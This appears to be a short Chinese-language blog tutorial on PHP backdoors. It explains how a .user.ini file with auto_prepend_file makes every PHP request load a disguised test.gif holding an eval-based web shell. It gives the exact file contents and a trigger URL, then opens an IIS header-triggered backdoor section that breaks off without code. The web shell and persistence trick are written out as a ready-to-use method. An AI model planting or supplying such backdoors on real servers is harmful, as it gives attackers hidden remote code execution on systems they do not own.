ini后门
.user.ini
它比.htaccess
用的更广,不管是nginx/apache/IIS
,只要是以fastcgi运行的php都可以用这个方法。
.user.ini
实际上就是一个可以由用户“自定义”的php.ini
,我们能够自定义的设置是模式为“PHP_INI_PERDIR
、 PHP_INI_USER
”的设置。和php.ini
不同的是,.user.ini
是一个能被动态加载的ini文件。也就是说我修改了.user.ini
后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl
所设置的时间(默认为300秒),即可被重新加载
利用方法
新建
.user.ini
,内容为:1auto_prepend_file=test.gif新建
test.gif
,内容为:123@eval($_REQUEST[shell]);新建
echo.php
,内容为:123echo "PHP is very good!";访问
echo.php
即可看到后门:1http://127.0.0.1:8080/php-backdoor/echo.php?shell=phpinfo();
iis后门
iis后门是用了iis本身的机制,当在http头里增加一字段即可触发后门,并执行发过来的命令。
正常情况:
加入恶意字段